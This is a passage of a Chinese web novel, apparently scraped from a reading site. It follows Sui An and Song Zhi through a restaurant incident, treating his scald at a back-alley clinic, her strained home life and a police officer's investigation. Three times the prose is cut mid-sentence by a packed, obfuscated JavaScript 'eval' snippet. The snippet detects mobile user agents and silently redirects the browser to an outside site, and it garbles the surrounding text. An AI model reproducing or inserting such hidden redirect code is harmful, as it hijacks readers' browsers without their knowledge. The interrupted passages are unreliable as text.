雎安放下水杯,直视着宋挚的双眼,把对宋言林说过的解释,以更急切更想证明自己的语气,在宋挚面前说了出来。 “而且我那时候还不认识周警官,不可能拿一个现实中存在但我又不认识的人来编故事。” “嗯,我知道你不会胡编乱造。” 这句式,有些耳熟。 雎安眸底一颤,注视着眼前眉目含笑的宋挚,又觉疑惑。 既然是学她说话,为什么他的表情和语气突然温柔了许多?难道是这餐厅的暖光灯晃了眼她的眼,给了她错觉? “你根本没必要那么做。”宋挚肯定道。 几秒的静默后,宋挚没忍住,有些好奇地问道:“不过,你是在什么时候察觉到的?” 雎安提问的时候没有面红耳赤,只是脸颊上有淡淡的红晕,在得到他的肯定回答后也没有尴尬得不敢抬头看他,只是下意识地回避对视。 以雎安的反应,宋挚肯定她心里早有答案。 而她询问他的目的,不是想得到一个答案,兴许只是想向他解释,解释她没有在背地里编排他,解释她不是因为觊觎他所以才在他父亲面前大放厥词。 “在逃离餐馆的时候。不过,我是在你离开后才反应过来的。”雎安如实相告,“我从来没在你面前说过,我想救下的老师姓叶。” 原来如此。 宋挚向后一倒,靠在椅背上,想起以往他总在舅舅面前调侃他和叶老师,好像是从初一那年撞见舅舅和叶老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16061556|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约会后开始的,直到叶老师去世,他才没再喊这个称谓。 可这么多年过去了,这称谓竟变成了一个被遗忘的习惯,促使他顺理成章的脱口而出。 不过,这也许是件好事,反倒让他和雎安有了一次更为坦诚的交流。 茶足饭饱后,雎安见宋挚面上有了些倦色,拿起手机,打开小程序付款,可显示的却是账单已支付。 “是你付的?”雎安问答。 宋挚点头,“今天托浮沉办事的人是我,蹭饭的也是我,所以我就付了。” 接着,他起身询问道:“走吗?” 雎安点头,跟着站起身道:“可我说了要请客的,要不我们AA吧?我待会儿转钱给你。” 宋挚看她一眼,转身往前走,没说好,也没说不好。 “你要收哦~”雎安一边试图跟上他的脚步,一边习惯性地整理包带,可除了手机,她什么都没抓到。 她的单肩包还在座位上! 雎安倏地转身往回走,直到看到单肩包原封不动的待在座位上时,才松了一口气。 虽然她的包包和东西都不值钱,但她自小就被教育不能丢东西,不然就会被父母指着鼻子骂,碰上父母心情不好的时候,还会被体罚。 刚刚的某个瞬间,她紧张得像是被人扼住了喉咙,额前渗出不少细汗。她极快地平复这突如其来的情绪,弯腰拿起包包,将包背在左肩上,此刻的小腿处却传来了怪异的被硬物击打的痛疼感,这痛感像是蚊子咬,轻到让她怀疑是否存在时,第二次的痛感便接踵而至,还伴随着年幼的孩童嬉笑声。 雎安回头,视线下移。 果然,进入她视线的是一个两岁的小男孩,他生得圆润可爱,面上带着笑,圆滚滚的手握着一根细长的筷子,一副要打人的姿态和他的颜值属实不搭。 可爱的幼崽让雎安紧蹙的眉头松开,她压低声音,劝阻道:“小朋友,你不能拿筷子打人,很危险,有可能会戳到你自己的。” 家人就在附近吃饭,注意到后即刻跑过来,边跑边给雎安道歉:“抱歉抱歉啊~” 可男孩的家人话音刚落,雎安的小腿处又传来了疼痛感,这次还是打在同一处,而且比头两次打得都要重,像是多次练习后更有把握的选手,打得快准狠,力度超出想象。 雎安懵了,下意识地弯腰捂着小腿,顺势坐在后方的座椅上,不可置信地看着小男孩笑嘻嘻地跑开,看着他像是在和家人玩闹般躲避家人护着他的臂弯。 一种无法名状的委屈像是高墙般将她围困在里边,她很想呐喊呼救,却怕高墙倾倒后,看到的是不解的眼神,听到的是认为她小题大做的冷嗤声。 “宝宝小心!”男孩家人一声惊呼。 雎安抬眸,这才注意到男孩脚底打滑,他的家人没能及时抓住他的小臂,他就这么在她面前倾然倒地,左额角扎实地撞在冷硬的地板上,发出“?”的一声。 男孩懵了,几秒后,兴许是意识到了额角的疼痛,刹那后便开始嚎啕大哭,哭声响彻酒楼。 “你没事吧?” 雎安完全没反应过来,这是对她的询问。 宋挚不知何时出现在她的身侧,注意到她捂着小腿的那刻,毫不犹豫的蹲下身。 周边注意到这件事的人都在关注那男孩,其中有不少人还对着男孩的方向下意识地做出了一个伸手的动作。 只有宋挚疾步而来,站定在她面前,又半跪下询问她的状况。 “我没事。”雎安低下头,一部分是因为不好意思,另一部分是因为意外和感动。 与此同时,男孩的家人扑上前,一把将男孩从地上捞起来,抱起在怀中连声安慰。 宋挚看他们一眼,眼神有些凌厉,“那小朋友碰到你了?” 看来,宋挚刚才没看见。 “我真的没事。” 雎安的头垂得更低了,生怕自己太像无理取闹的孩子,故而将小腿处那浅浅的红痕展示给宋挚看,若无其事道:“你看,问题不大。” 闻言,宋挚眉头倏地皱起,抬头直视她的双眼仿佛在无声反驳她,这根本就不是没事。 雎安因为他的这个反应,内心的感动瞬间盖过了所有的负面情绪,鼻头一酸,有眼泪在眼眶里打转。 原来,被人重视感受的感觉是这样的……好,好得像是风雪交加的寒冬突然出现了久违的暖阳,竟让她有流泪的冲动。 可她不想哭,更不想解释她为什么会哭,所以,她再一次选择将自己的情绪隐藏起来。 只是,在她将眼泪强行憋回去的那个瞬间,那渴望被关心却又害怕被忽视的保护罩,就这么被击破了。 42. 身体叫嚣着要触及她的肌肤 情绪价值在某些时候就是比金钱和药物重要得多,重要到甚至可以挽回一个人的生命、拯救一个人的人生。 虽然于雎安而言,还没有到如此重要的程度,但她看他,似乎感觉到了一些不同...... 两人走在南林街道古色古香的老巷子中,她借着昏黄的灯光不时偷瞄一眼宋挚,又借着晚间清风嗅闻他身上的气息。她发觉,他的五官极致协调,协调得如同番茄炒鸡蛋,是这世上没几个人会质疑的绝佳搭配。 至于他的穿搭,虽然算不上精致有个性,却是干净清爽,身上的气味也很好闻,有种寺庙的禅香和茶馆的茶香混在一起后又被春阳亲吻过的芬芳。 “你的左臂怎么了?” 站在岔路口即将分别的那刻,雎安终于从自己的思绪中抽离,注意到了宋挚左臂的衣衫有被水打湿的痕迹。 雎安凑近了些看,发现他袖口下的皮肤微微泛红,“怎么像是被烫到了?” 闻言,宋挚侧身,不给雎安仔细打量的机会,“就只是被烫了下而已。” 雎安即刻想到了当时在宋挚身后几米开外有一名受惊的服务员,她当时端着两个冒着热气的瓷壶,有一个瓷壶掉到了空着的座椅上,热水溅得到处都是,随后滚落在地还发出了一声脆响,另一个瓷壶则被她一手扶住,只不过两秒,她就倏地收回手,疯狂地吹手上触过瓷瓶的皮肤。 难道是因为她? 他该不会以为她出了什么事,急匆匆上前,所以才撞到了服务生吧? 雎安心存愧疚,伸手去掀他的袖子,不由分说地将他的短袖掀到了肩膀处。 “什么叫被烫了下而已,红了这么大片,你都不痛吗?得赶紧处理才行。” 雎安的动作和嗔怪的语气让宋挚愣在原地,他像是被夺去了言语的能力,直到被雎安抓着手肘走到更深的巷子里,才开口解释:“没事,我有分寸,那水不是刚烧开的。” “你骗人。” 雎安走在前面,宋挚只能看到她的背影。 “我妈之前被开水烫伤过,和你现在差不多。” 宋挚不说话了。 雎安咬了咬下唇,“对不起。” “啊?”宋挚不明所以,但不过十几秒便反应过来,“与你无关。是那小朋友跑来跑去的时候撞到了服务员的腿,她侧身避让,而我又恰巧经过。” 雎安不说话了,但宋挚能从她的背影看出,她不似刚才那般紧绷了。 华州的老巷子和新建商业街里那些千篇一律的网红街道完全不同。它很破旧,却是美的,富含底蕴,似有灵魂。这的一砖一瓦、角落的青苔、敞开的大门、房屋里手持蒲扇交谈的老人们,还有不远处麻将撞击在一起的声响和透过窗户占领整条街道的饭菜香,都让宋挚深感惬意。 以往,他只有在旅行和研学的时候,才会为了体验当地的风土人情,走到这种破败古朴的地方来。 而在他出生和成长的华州,他还是第一次见。 “还要转两个弯才到。” 路灯年久失修,好几个地方都没有灯光指引,雎安拿出手机,打开手电筒,为宋挚照亮前路。 “你平时回家都走这吗?” “不是,我家在另一边。” “那你回家的路也是这么暗的吗?” 话音刚落,宋挚因为没注意到脚下的石阶,被绊了一下。 雎安感知到宋挚在往前倾倒,眼疾手快地松开他的手肘,转而抓住他的衣领往后扯。 宋挚原本只是打了个趔趄,问题并不大,却突然被一股诡异的力向后一拉,脖子被勒得极其难受,几乎快要透不过气,只能痛苦地吐出三个字:“脖......脖子。” “啊,对不起!”雎安蓦地松手,囧得不行。 现在的情况是,宋挚的烫伤还没好,脖子又被她给勒了。 “哟,这脖子怎么了?” 谢姨一见宋挚,就直勾勾地盯着他的脸和脖子看,只觉得这小伙真是帅得让人迷糊,他那略显凌乱的头发、褶皱不平的衣领和脖子的一道红痕都让人浮想联翩。 “不不不,不是脖子。”雎安红了耳根,赶忙解释道:“是他的手臂被烫伤了。” 谢姨是雎安的邻居,以喜爱八卦和大嘴巴闻名于南林社区。 雎安完全没想到自己会在巷子里的诊所碰到感冒发烧的谢姨,她就该带宋挚去巷子外的诊所,此刻肠子都悔青了。 感知到谢姨肆无忌惮的打量,以及她言语中暗含少儿不宜意味的打趣,宋挚不自然的理了理衣领,耳根和雎安一样不受控地烧起来。 谢姨见状,调戏小情侣的兴致即刻被点燃,即便打上了点滴,嘴上依旧没停,“雎安,这是你男朋友吗?” “不是。”雎安连连摆手,“他是我朋友。” 谢姨却是一副我懂我懂的表情,语气夸张道:“你这朋友真俊,尤其是这一头乱毛,有个性~” 谢姨笑眯眯的对宋挚那轻微打卷的浓密黑发竖起拇指,眼中确有赞赏之意,喜爱之意更是呼之欲出。 宋挚坐在残旧的木凳子上,扯着嘴挤出一个笑,而后抬眸望向雎安,投以“快救救我”的眼神。 雎安干笑,借口要赶紧带宋挚去诊室处理烫伤,飞速离开了候诊区。 只是,雎安一走进那不足五平米的诊室,就瞧见四五个人围着一个秃顶的中年男人虎视眈眈,而秃顶男人则面目表情询问着面前大叔的情况。 雎安见状,也不敢退出诊室,只得拉着宋挚在人群后方等候。 “很疼吧?”寻到位置站定后,雎安低声询问。 “还行。”宋挚的声音不痛不痒。 雎安仰头看他,“之前我妈妈被烫到的时候,我还在读大学,她在微信上说像是火烧一样痛,但我劝她去医院,她就是犟着不肯去,隔天伤口起了很大的水泡,说是又痒又痛,才肯去医院处理。” 宋挚终于不再逞强,似无奈似妥协地道:“嗯,应该会疼好一阵。” 雎安笑了笑,不再说话,像是陷入了沉思,可她的眼睛却紧盯着看诊台,一直到医生给排在他们前面的最后一个病患写药单时,二话不说便拉着宋挚到医生面前坐下,成功阻挡了后方蠢蠢欲动的大爷大妈们。 小诊所大多如此,秩序全看个人自觉。 雎安的动作一气呵成,以至于宋挚反应过来的时候,就已经是坐在木椅上了。 “有什么问题?”刚写完药单的医生问道。 雎安上前,简单说明情况:“医生,他的手臂刚刚被开水烫到了。” 医生点头,抓住宋挚的手臂仔细看了看,随即松开,一边敲键盘一边道:“情况还好,不算严重,先用流动的水冲30分钟,再抹两三天烫伤膏就行了。” “好的,谢谢。”虽然雎安心中有疑问,以为就是开个小药膏的事,但还是秉承着谨遵医嘱的原则,接过药单后就转身要往外走。 雎安的速度之快,让还有话要交代的医生面露无奈,只能对还坐在椅子上的宋挚补充道:“去拐角处的公厕冲水啊。” “为什么要去公厕?”宋挚不解,随口问了一句。 “我这的水费不用钱哒?!”医生的脸色倏地沉下来,阴阳怪气道:“冲30分钟的水费是你出吗?你赚过钱没?知不知道这几年经济不好,你爸妈养你有多辛苦?” 雎安听到动静后迅速回身,强挽着宋挚,疾步离开了看诊室,既没给医生再一次无礼训斥的机会,也没给宋挚反应的时间。 “他怎么这样?” 宋挚眉头紧皱,即便清凉的水流减轻了手臂的灼烧感,让他在顷刻间舒服了很多,但却并没有因此而爽快半分。 他身边的人大多情绪稳定,就算心里有情绪,也少有这种如同炮仗一般突然轰击别人的,而且还是自燃的“炮仗”。 他感到惊奇,无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16068142|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解,以至于被怼的时候完全没反应过来,像个木头一样乖乖听训。 “抱歉,我很久没来,都忘记了这医生的脾气不太好,只想着这里离得近,就带你过来了。” 雎安见宋挚的衣袖有往下掉的趋势,伸手将他的左衣袖又向上打了两个卷,卡在了三角肌的位置。 “这家小诊所开了十几年,来看病的人都是附近小区的中老年人,他们常年被各种小病痛折磨,脾气不好又疑神疑鬼,那医生没少受气。我想他是不敢和病痛多的中老年人置气,所以就把气都发泄在年轻人身上,对你本身是没恶意的。” 雎安耐心地给宋挚解释,但说到最后,又觉得自己的解释根本就不通。 她不是什么包容万物的圣母,对这种乱发脾气、开口就教育别人的人也很反观。 可矛盾的点在于,她又好像能理解医生发火的点。 医生兴许根本就没受什么气,单纯就是性格原因加上经济压力,习惯了去计较鸡毛蒜皮的小事,尤其是在他认为的小事上遭受到质疑时就会大破防。 就好比她的父母,哪怕有段时间家里的经济条件好了不少,身上遗留的穷病也很难改。 比如,他们会骗她房子是租的,强调他们的经济压力,希望她能更努力更早的回报他们,还会为了省电费在炎热的夏季开风扇入眠而被半夜热醒,在雎安提出为什么不开空调的疑问时,就会狠狠训斥她不懂何为勤俭节约,教育她要牢记父母的付出的艰辛。 可她们家,明明就没有穷到开不起空调的程度。 在她看来,为了空调费而时常争吵才是愚蠢的行为,可她却不被允许质疑他们。 雎安想,以宋挚的成长环境,是不会懂诊所医生失控的原因的,就算懂了,他也没必要理解他,更没义务为他失控的情绪买单。 “也有可能是诊所收益不好,想省点钱。”雎安又补了一句。 “那他可以直说。”宋挚看着诊所的方向,摇头道:“不论是拿年轻人泄气,还是在意水费,他这样对待病人都是不对的。” “你说得对。”雎安打心底认同宋挚,“无论出于什么理由,他都不对。” 宋挚轻咬了下牙,越想越气的模样。 雎安观察着他的表情,发现他每次有情绪波动的时候都会变得更有魅力,即便是生闷气,也像是鱼儿回到了水里,整个人都变得灵动起来。 雎安努力控制着自己即将上扬的嘴角,她知道她这样挺突兀的。 “那我们待会儿不回去了,烫伤药而已,我去药店买也一样。”雎安的声音温柔地像在哄孩子,手上在为宋挚调节着水流的大小,注意到他为了配合洗手池的高度而一直侧弯腰的姿态,忧心地问道:“他说要冲30分钟,你这样会不会很累?” 一米八的宋挚和低矮的洗手池对比,就显得太高了。 “确实有点。”宋挚的左手撑在洗手台的边沿上借力,为了能直视雎安的眼睛,此刻他甚至需要仰视她,“真的需要冲这么久吗?” 宋挚担心那医生的医术比脾气还要差。 感受到宋挚的担忧,雎安示意他乖乖站好、手接着冲水,随后便拿出手机检索,一番浏览下来,发现网上医生和网友分享的方法也是如此。 于是,雎安屈膝弯腰,靠近宋挚,将手机检索出的内容展在他面前,“真的要冲30分钟,如果手离开水时还有明显的灼烧感,则再需要冲15到30分钟,最后再涂烫伤药。如果上述步骤都做了,还是不舒服,就要去三甲医院就医。” 宋挚一个字也没听进去。 在她靠近他的那瞬,她的发梢触到了他的右臂,他向后撤臂,她的气味却早已侵入了他的鼻腔,他侧头屏气,她的体温隔着空气和衣衫将伤口的热量引到了他身体的每一处,他燥热难耐,终是退无可退。 身体脱离大脑控制,叫嚣着要触及她的肌肤,这不是第一次,却是最为强烈的一次。 43. 宋挚的肌肉变得格外紧绷 雎安读完,看着宋挚大片泛红的左臂,忧心道:“没想到会这么严重。” 没有回应。 雎安抬眸,发现宋挚闭眼皱眉,一副极为难受的表情,“你没事吧?很难受吗?” “还好。”宋挚的声音听起来并不太好,“就是这的气味......” 宋挚转移话题,说的却也是实话。 小巷子里的公厕卫生状况不太好,若非他进来时带着情绪,没有留意,不然也不会在这冲洗伤口。 “那要不要现在去医院处理伤口?”雎安其实并没有闻到什么极为刺鼻的异味,只是觉得这的空气确实不如外边清新而已,但她还是顺着宋挚的话说道:“这的气味确实不太好。” “不用了,我感觉差不多了。”宋挚睁开眼,但没有直视雎安,而是伸出右手,摊开手掌,“麻烦你给我一张纸巾。” 雎安照做,打开包包翻了好一会儿,才将手帕纸递过去。 宋挚接过,将手帕纸放在鼻尖上细细嗅闻,原先绷紧的五官慢慢舒展开来。 见状,雎安不免好奇,抽出一张纸放在鼻尖处,学着他的样子嗅闻起来。 这是她每天都在用的纸巾,味道她很熟悉,是清新怡人的百合花香。 与她而言,没什么特别。但一想到此刻两人的鼻腔内充斥着相同的香气,她便不自觉将纸巾攥紧,直到鼻腔内满是百合花的香气。 她抬眸,偷瞄一眼宋挚,恰巧宋挚也在看她,顷刻间,她的心脏像是被电击般发麻,就算她转移视线,仍然能真切地感受到心脏处传来的阵阵酥麻感。 “我去药店买支烫伤膏,你在这等我。”雎安急忙找个借口离开。 “等等。”宋挚叫住她,“外面太黑了,待会我跟你一起去。” 可她需要冷静,需要独处。 “没事。”雎安摆手,边说边往外走,“我习惯了。” 时间一分一秒的流逝,宋挚开始有些心焦。 难道这附近没有药店吗?是要走很远,还是……出事了? 十五分钟过去,还没等到雎安的宋挚果断起身,关闭水龙头,将左臂上的水往下一抹,抬脚就要往外走。 “你怎么不好好冲水啊?”雎安突然出现,提着一个白色塑料袋出现在公厕的大门口,“我看过时间,还要冲五分钟才够半小时。” 宋挚停在原地,片刻后,他转身回到洗手池,打开水龙头,弯腰接着冲水。 “我有冲。”宋挚开口为自己辩解。他低眉垂眉的样子,加上有些落寞的语气,像是受到了什么委屈般,“你去了很久,我怕你遇到了什么麻烦,所以才起身的。” 这话......怎么听着像是在解释又像是在埋怨她。 “谢谢你的关心,我没事,就是排队花了些时间。” 雎安一撒谎,就会心虚,一心虚,就会没话找话、没事找事,意图转移对方的注意力。 当下,她一眼瞄到了自己手中的塑料袋,索性打开袋子,一口气交代了袋内药品的使用顺序和方法。 “这么多?”宋挚在观察,根本没认真听,“我没记住。” “我查到很多人都是按这个方法处理的,只要不是深度烧伤,恢复得都不错,应该还算科学。”雎安拿出其中的一个白色方盒子,从里头抽出两支医用碘伏棉棒,问道:“冲水的时间差不多了,要不要现在上药?” 询问不过是走形式,雎安一副立刻要上手的模样,看来是打算通过实操来让宋挚记住。 “我自己来。”宋挚起身,关闭水龙头,摊开手掌道:“你指导就行。” 也好。 雎安看他一眼,发现他的左手臂不断有水滴落,水滴逐渐打湿了他的衣角,让他的白色衣衫变得越来越透。 “先擦擦吧。”雎安递过去两张纸。 宋挚掰棉签的动作一顿,低头看了眼自己的左臂,伸手接过纸巾,再将纸巾用力一甩,动作粗鲁的擦拭起来。 她的视线随着他的动作移动,聚焦在他的肱二头肌和肱三头肌上。 这次,她终于注意到了除皮肤泛红外的焦点。那就是他的手臂,出于意料的结实强壮,肌肉线条分明,有明显的训练痕迹,尤其是肱二头肌的位置,只要他稍稍用力,邦硬得仿佛能用来砸开水果。 雎安突感脸颊一热。 宋挚和她同龄人,虽然性格有些阴郁还有些酷,因为还没被职场的侵染过,身上就是有种青葱的少年感,偶尔会让她有一种自己是姐姐的错觉。但只要他一靠近她,略有“攻势”,她顷刻间便能清楚地感受到他身为男人的冲击力。 她不会是他的姐姐,不论是精神,还是感觉,亦或是□□。 此刻,他没有看她,也没有逼近她,更没有刻意做出任何引人误会的行为,她却被他勾得脸红心跳。 “轻点~”雎安低头,小声提醒,“下手太重的话,会对皮肤造成二次伤害。” “对不起。”宋挚的动作轻缓下来。 可他为什么要对她道歉? 两人在相同的时间产生了相同的疑问。 “你经常运动吗?”雎安从袋子里拿出一瓶白色喷雾,撕开包装递给宋挚。 “嗯,为了发泄情绪。” “发泄情绪?”雎安歪头。 “你会经常运动吗?”宋挚反问。 雎安点头,“会,大概一周四五次。不过,我不去健身房,训练强度也很低。” 一周四五次,这运动频率赶超90%的人了。 宋挚接过喷雾,发现上边有生长因子的字样,可他的皮肤没有创口,这药根本起不了什么作用。 “那你运动的目的是什么?减肥吗?”宋挚象征性的在皮肤上喷了两喷,“你已经够瘦了。” “不是。”雎安接过宋挚手上的喷雾,又将烫伤膏递给他,“我是觉得开心。” 通常,雎安这么说的时候,对方都会眉头一皱、露出不解的表情,可宋挚没有。 “我不觉得运动是很痛苦的一件事,虽然偶尔会有很累,但过后就会有一种酣畅淋漓的感觉。我很喜欢那种感觉,很舒压,可以释放我的压力和不愉快,所以我很享受。”雎安瘪了瘪嘴,“不过我的运动底子不怎么样,练什么项目都挺菜的。” “对了,你刚刚说你运动是为了发泄情绪。”雎安双手举至胸前,自信猜测:“所以,你喜欢打拳击?” 宋挚笑着摇头,摊开手掌,轻勾食指,“我需要棉签,谢谢。” 雎安以为宋挚不想再聊这个话题,一边递出棉签一边思索着换个什么话题好,她希望氛围能轻松愉快些。 “我之前很喜欢打篮球和羽毛球,不过现在我更喜欢一个人的运动,跑步、举铁、跳绳之类的、我通常都是戴着耳机,一边听音乐一边暴汗,非常舒服。” 宋挚用烫伤膏的帽顶戳破密封口,挤出棕褐色的膏体置在棉签上。 “发泄情绪的说法兴许不太对。我和你一样,运动是为了让自己快乐。” “确实,如果运动带来的是痛苦,那还不如睡觉。”雎安抬眸,注视宋挚扭着身子、努力为自己涂药膏的别扭模样,忍着笑意道:“那你平时会吃减脂餐吗?” “不怎么吃。”宋挚回转身体,叹了口气,“除非天气很热,吃不下热菜。” 这回答倒是让雎安意外。 她原先猜想宋挚情绪越来越差的原因之一,兴许和饮食有关。 毕竟,过于严格的控制饮食会让人变得烦躁,严重的,甚至会让人情绪低落至抑郁。 “难道......你在吃减脂餐?”宋挚回想起雎安在看到鸡胸肉藜麦沙拉时,分明是面露难色,握着叉子的手都往后挪了挪,没有表露出一丝喜爱。 “没有没有。”雎安连连摆手,“我不喜欢减脂餐,吃得我难受。” “那就好,你已经够瘦了。”宋挚扔掉棉签,上前一步,将烫伤膏放进雎安手中的袋子里,“太瘦会影响健康的。” 宋挚的脑海中浮现母亲因为生病而逐渐凹陷的双颊,朋友因为过度节食而愈加无神的双眸,这都是他不想再看到的画面。 他不得不承认,自母亲生病后,他对健康的话题敏感了许多。 “等一下。”雎安微微侧身,用食指和大拇指捏起他的手肘,“你没涂全啊,三角肌后束接近菱形肌的地方都是红的,你没涂到。” 她竟然对各肌肉的位置和名称如此熟悉。 宋挚笑了笑,“没事,那块烫得不严重。” 他知道自己没涂全,但更知道自己已经尽力了。 “不行!”雎安放下他的手肘,态度坚决道:“我帮你涂,然后你回去以后也要每天找人帮你涂,至少得坚持两天,看看有没有好转。” 宋挚垂眸,不说话了。 雎安以为他介意,“抱歉,要不我们回诊所,我让谢姨来帮你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刚才他们连续拐了两个弯,如今走在一条寂静的小道上,却仍能隐约听见谢姨略显尖锐的声音。 “嗯,是有点。” 宋挚走在她的斜前方,雎安看不到他的表情,只觉得他的声音很平静,平静得有些冷淡。 雎安看着他的背影,脸上的笑意逐渐淡去。 突然,宋挚在岔路口前停下脚步,雎安以为他打算在此和她道别,可他却转过身,指着两条道路中更为昏暗的那条路,问道:“走这吗?” “嗯。”雎安上前,抬起手道:“药给你,我怕一不留神就带回家了。” 宋挚接过,“谢谢。” 见宋挚转身要为她带路,雎安半开玩笑道:“这是我的地盘,不该我来带路吗?” 宋挚一愣,随即退至雎安身后,“也对,应该由你来。” 说是她的地盘,但雎安已经有好些年没走这条路了。仔细想来,还是以前读初中的时候,她才会在每天傍晚和朋友途径这里回家。 当时,这里有不少小商店和聚在一起玩耍的老人和小孩,称得上热闹。而今,时过境迁,这里变得相当安静,大多已经人走楼空,路灯都没有几盏是能亮起来的,有些过于老旧的独栋房屋甚至有被火烧过的痕迹,有些楼房则是敞开着破旧的大门,黑漆漆的,辨不清里边是否有人。 这场景让雎安想起了她在装置里走过的那条夜路。 那时,宋挚为她引路。此刻,她给宋挚带路。 可不论宋挚在前,亦或在后,都是因为有他,她才能心安神定地走在这如墨的夜色里。 两人相隔不远,一前一后,拐过一个又一个弯。突然,一抹亮光出现,那是暖黄的路灯照在绿油油的树叶上反射出的光芒。 那光芒在夜色里亮得像是通往另一个世界的入口。 雎安停下脚步,背对着宋挚,“如果我拒绝了你的请求,你会怎么做?” 她转过身,看着宋挚的眼睛,问道:“去找下一个实验者吗?” 宋挚正注视着那道突兀却美妙的光,并没有看她。 可即便如此,她还是发现了他眼底里的异样色彩。 那是一种可以名为坚定,也可以名为疯狂的色彩。 “我会自己进装置找答案,无论用什么方法。” 44. 那我祝你心想事成 “我煮了番茄鸡蛋面,你要不要?”纪小梅端着一小碗面从厨房走出来,仰着头,语气凶巴巴的。 雎安一边慌张地翻找手机,一边道:“汤面太烫,我吃不了。” “用风扇吹凉给你,要不要?”纪小梅语带嫌弃,“天天吃那些没营养的外卖,难怪长不胖,胸都是平的,一点女人味都没有。” 雎安翻到了手机,又急匆匆地去厕所整理头发和衣服,“不用了,我赶着去上班。” 闻言,纪小梅放下碗筷,等雎安从厕所出来,质问道:“我说你啊,就不能早点起床吗?每天都这么赶,万一哪天你没赶上,被经理抓到迟到的话,该怎么办?” 雎安选择无视,弯腰穿鞋,推门而出。 “养你到这么大,连应都不应妈妈,真是白养......” 砰一声,大门隔绝了纪小梅噪怒的声音,雎安感觉自己终于能喘口气了。 然而,在她踏进公司的那一刻起,就再一次感受到了压抑的气氛。 雎安定睛一看。 果然,最里间的大办公室亮起了灯,这意味着戴老板又来公司了。 “汤晴,昨天谢谢你。”雎安径直走到汤晴身边,“你昨天借我的那条裙子,我洗好了再还给你,可以吗?” “不用还,送你了。”汤晴笑态度严肃地道歉:“我那无礼的爸妈和哥哥那样诬陷你,一条裙子而已,都不足以向你道歉的。对不起,真的对不起。” “没事,这不关你事。”雎安轻拍汤晴的肩头,故作轻松地笑道:“你要是不愿意收,那我就要送你新裙子喽。” “不用不用~”汤晴的尾音拉得极长,声音压得极低,“我嫂嫂经常送我品牌方的衣服,我不缺裙子。倒是你,明明穿裙子很好看很有气质,但我之前都没见你穿过,你给自己多买几条裙子吧。” 闻言,雎安的眸底闪过一抹痛色。 “嗯好。”雎安唇角轻扬,面上没有显露出任何负面情绪,“那我先回工位了。” 与此同时,华州市警局,九大队内办公室的气氛低迷,想来是调查的案件陷入了瓶颈。而一旁的周浮沉却全无感觉,紧盯着屏幕上的黑色身影,陷入了深思。 这个人引宋挚去调查碳酸钡中毒案,暗示真凶不是黄斌,却又没有明示真凶身份,刻意伪装自己还尽力避开监控。 他要么不知道真凶是谁,要么就是知道却不方便透露。 周浮沉以他极力隐藏自己的行为作为出发点进行分析,猜测他大概率后者。 那他的目的又是什么呢?为黄斌伸冤?或是痛恨真凶的人? 倒是都有可能,但以他鬼鬼祟祟的作风,周浮沉更倾向于后者。 可最需要注意的,也是周浮沉最在意的是,受害者有五人,五人都有子女,可他打电话给其他受害者的子女询问后得知,只有宋挚收到了奇怪的包裹。 所以,为什么对方会盯上宋挚呢?又是怎么拿到宋挚的电话和住址信息的?会不会是他的目标其实是宋挚? 可很快,周浮沉便自顾自地摇头。 这个假设成立的几率太小,不是他当下要划入考虑的可能。 当下,他相信的另一个可能,就是那个人认识宋挚,知晓宋挚的性格,甚至可能知道宋挚有个刑警舅舅,是那种有些熟悉宋挚但又与宋挚不亲近的人。 看来,晚些时候他得打个电话给宋挚,让宋挚好好回忆回忆、列个名单给他才行。 这样想着,周浮沉又把监控视频往回倒了几分钟,开始分析对方的特征和行走的路线,以此来获取更多的信息。 他就这么紧盯着电脑屏幕,一直看,一直看,熟悉的感觉越来越强烈。 可监控中的男人将帽檐压得很低,还戴着口罩,除了头发有些扎眼,其他都毫无特点,面容更是看不清。 所以,他熟悉的点肯定不是在样貌和衣着打扮上。 那是在哪呢? “在帮宋挚调查啊?”梁询的话语在不经意间透露出与周浮沉的熟稔,一旁的汪炎和林布朗都略带好奇地扭头往他们这看。 梁询直接在周浮沉身边坐下,自顾自地道:“我看你经常一坐下就一动不动的,颈椎和屁股不难受吗?” “啊?” 周浮沉的眉头皱起,应得很轻,梁询还以为周浮沉没听清他的问话。 “我说你~每次坐下就一动不动的,不难受吗?” 然而,周浮沉坐起身,左手肘撑在桌面上,食指摩挲着下巴,始终没有看梁询一眼。 想要攀谈的梁询有些无奈,只听见周浮沉在喃喃:“屁股,就是屁股。” 哒一声,是玻璃门被粗暴推开后又合在一起的声音。 办公室内的十几号人都在忙,被突如其来的声响吓得瞪大了双眼,望向大门的方向。 是卢宇年。 雎安看清来人,第一反应是低头将脑袋隐在电脑屏幕的后面,第二反应是思考她该怎么做才能不被注意到。 因为她的工位就在戴总办公室的斜前方,也就是秘书工位的正对面,实在是扎眼。 唉~兴许一切如常就是最好的办法。 雎安打开最近的客户存档信息,点击编辑邮件,开始有模有样地敲键盘,假装很忙的样子,正好多发几封开发信。 